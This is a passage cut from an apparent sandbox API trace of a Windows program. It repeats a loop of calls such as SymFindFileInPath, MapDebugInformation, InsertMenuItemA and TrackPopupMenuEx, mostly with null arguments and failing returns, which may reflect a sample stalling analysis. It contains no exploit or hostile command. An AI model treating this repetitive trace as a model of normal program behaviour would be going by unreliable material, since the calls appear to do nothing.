SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.254] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.254] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.255] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.255] GetLastError () returned 0x579 [0185.255] SetLastError (dwErrCode=0x579) [0185.255] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.255] SymCleanup (hProcess=0x0) returned 0 [0185.255] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.255] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.255] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.255] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1136, param_4=618, param_5=0x0, param_6=0x0) returned 0 [0185.255] GetLastError () returned 0x579 [0185.255] SetLastError (dwErrCode=0x579) [0185.255] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.255] SymCleanup (hProcess=0x0) returned 0 [0185.255] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.255] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.255] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.255] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.255] GetLastError () returned 0x579 [0185.255] SetLastError (dwErrCode=0x579) [0185.255] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.255] SymCleanup (hProcess=0x0) returned 0 [0185.255] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.255] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.255] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.256] GetLastError () returned 0x579 [0185.256] SetLastError (dwErrCode=0x579) [0185.256] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.256] SymCleanup (hProcess=0x0) returned 0 [0185.256] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.256] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.256] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.256] GetLastError () returned 0x579 [0185.256] SetLastError (dwErrCode=0x579) [0185.256] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.256] SymCleanup (hProcess=0x0) returned 0 [0185.256] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.256] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.256] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.256] GetLastError () returned 0x579 [0185.256] SetLastError (dwErrCode=0x579) [0185.256] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.256] SymCleanup (hProcess=0x0) returned 0 [0185.256] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.256] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.256] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.256] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1251, param_4=302, param_5=0x0, param_6=0x0) returned 0 [0185.257] GetLastError () returned 0x579 [0185.257] SetLastError (dwErrCode=0x579) [0185.257] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.257] SymCleanup (hProcess=0x0) returned 0 [0185.257] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.257] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.257] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.257] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.257] GetLastError () returned 0x579 [0185.257] SetLastError (dwErrCode=0x579) [0185.257] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.257] SymCleanup (hProcess=0x0) returned 0 [0185.257] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.257] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.257] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.257] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.257] GetLastError () returned 0x579 [0185.257] SetLastError (dwErrCode=0x579) [0185.257] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.257] SymCleanup (hProcess=0x0) returned 0 [0185.257] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.257] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.257] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.257] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.258] GetLastError () returned 0x579 [0185.258] SetLastError (dwErrCode=0x579) [0185.258] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.258] SymCleanup (hProcess=0x0) returned 0 [0185.258] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.258] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.258] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.258] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.258] GetLastError () returned 0x579 [0185.258] SetLastError (dwErrCode=0x579) [0185.258] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.258] SymCleanup (hProcess=0x0) returned 0 [0185.258] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.258] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.258] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.258] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1303, param_4=678, param_5=0x0, param_6=0x0) returned 0 [0185.258] GetLastError () returned 0x579 [0185.258] SetLastError (dwErrCode=0x579) [0185.258] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.258] SymCleanup (hProcess=0x0) returned 0 [0185.258] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.258] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.258] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.258] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.258] GetLastError () returned 0x579 [0185.259] SetLastError (dwErrCode=0x579) [0185.259] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.259] SymCleanup (hProcess=0x0) returned 0 [0185.259] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.259] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.259] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.259] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.259] GetLastError () returned 0x579 [0185.259] SetLastError (dwErrCode=0x579) [0185.259] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.259] SymCleanup (hProcess=0x0) returned 0 [0185.259] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.259] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.259] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.259] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.259] GetLastError () returned 0x579 [0185.259] SetLastError (dwErrCode=0x579) [0185.259] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.259] SymCleanup (hProcess=0x0) returned 0 [0185.259] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.259] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.259] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.259] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.259] GetLastError () returned 0x579 [0185.259] SetLastError (dwErrCode=0x579) [0185.260] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.260] SymCleanup (hProcess=0x0) returned 0 [0185.260] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.260] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.260] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.260] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1197, param_4=442, param_5=0x0, param_6=0x0) returned 0 [0185.260] GetLastError () returned 0x579 [0185.260] SetLastError (dwErrCode=0x579) [0185.260] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.260] SymCleanup (hProcess=0x0) returned 0 [0185.260] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.260] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.260] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.260] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.260] GetLastError () returned 0x579 [0185.260] SetLastError (dwErrCode=0x579) [0185.260] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.260] SymCleanup (hProcess=0x0) returned 0 [0185.260] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.260] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.260] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.260] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.260] GetLastError () returned 0x579 [0185.260] SetLastError (dwErrCode=0x579) [0185.261] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.261] SymCleanup (hProcess=0x0) returned 0 [0185.261] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.261] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.261] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.261] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.261] GetLastError () returned 0x579 [0185.261] SetLastError (dwErrCode=0x579) [0185.261] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.261] SymCleanup (hProcess=0x0) returned 0 [0185.261] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.261] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.261] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.261] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.261] GetLastError () returned 0x579 [0185.261] SetLastError (dwErrCode=0x579) [0185.261] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.261] SymCleanup (hProcess=0x0) returned 0 [0185.261] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.261] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.261] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.261] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=516, param_4=382, param_5=0x0, param_6=0x0) returned 0 [0185.261] GetLastError () returned 0x579 [0185.261] SetLastError (dwErrCode=0x579) [0185.261] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.262] SymCleanup (hProcess=0x0) returned 0 [0185.262] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.262] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.262] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.262] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.262] GetLastError () returned 0x579 [0185.262] SetLastError (dwErrCode=0x579) [0185.262] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.262] SymCleanup (hProcess=0x0) returned 0 [0185.262] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.262] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.262] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.262] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.262] GetLastError () returned 0x579 [0185.262] SetLastError (dwErrCode=0x579) [0185.262] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.262] SymCleanup (hProcess=0x0) returned 0 [0185.262] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.262] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.262] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.262] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.262] GetLastError () returned 0x579 [0185.262] SetLastError (dwErrCode=0x579) [0185.262] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.262] SymCleanup (hProcess=0x0) returned 0 [0185.263] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.263] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.263] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.263] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.263] GetLastError () returned 0x579 [0185.263] SetLastError (dwErrCode=0x579) [0185.263] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.263] SymCleanup (hProcess=0x0) returned 0 [0185.263] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.263] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.263] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.263] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1244, param_4=553, param_5=0x0, param_6=0x0) returned 0 [0185.263] GetLastError () returned 0x579 [0185.263] SetLastError (dwErrCode=0x579) [0185.263] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.263] SymCleanup (hProcess=0x0) returned 0 [0185.263] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.263] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.263] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.263] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.263] GetLastError () returned 0x579 [0185.263] SetLastError (dwErrCode=0x579) [0185.263] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.263] SymCleanup (hProcess=0x0) returned 0 [0185.263] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.264] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.264] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.264] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.264] GetLastError () returned 0x579 [0185.264] SetLastError (dwErrCode=0x579) [0185.264] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.264] SymCleanup (hProcess=0x0) returned 0 [0185.264] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.264] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.264] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.264] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.264] GetLastError () returned 0x579 [0185.264] SetLastError (dwErrCode=0x579) [0185.264] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.264] SymCleanup (hProcess=0x0) returned 0 [0185.264] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.264] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.264] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.264] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.264] GetLastError () returned 0x579 [0185.264] SetLastError (dwErrCode=0x579) [0185.264] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.264] SymCleanup (hProcess=0x0) returned 0 [0185.264] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.265] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.265] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.265] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1399, param_4=521, param_5=0x0, param_6=0x0) returned 0 [0185.265] GetLastError () returned 0x579 [0185.265] SetLastError (dwErrCode=0x579) [0185.265] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.265] SymCleanup (hProcess=0x0) returned 0 [0185.265] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.265] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.265] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.265] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.265] GetLastError () returned 0x579 [0185.265] SetLastError (dwErrCode=0x579) [0185.265] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.265] SymCleanup (hProcess=0x0) returned 0 [0185.265] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.265] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.265] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.265] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.265] GetLastError () returned 0x579 [0185.265] SetLastError (dwErrCode=0x579) [0185.265] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.265] SymCleanup (hProcess=0x0) returned 0 [0185.265] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.265] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.265] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.266] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.266] GetLastError () returned 0x579 [0185.266] SetLastError (dwErrCode=0x579) [0185.266] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.266] SymCleanup (hProcess=0x0) returned 0 [0185.266] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.266] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.266] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.266] TrackPopupMenuEx 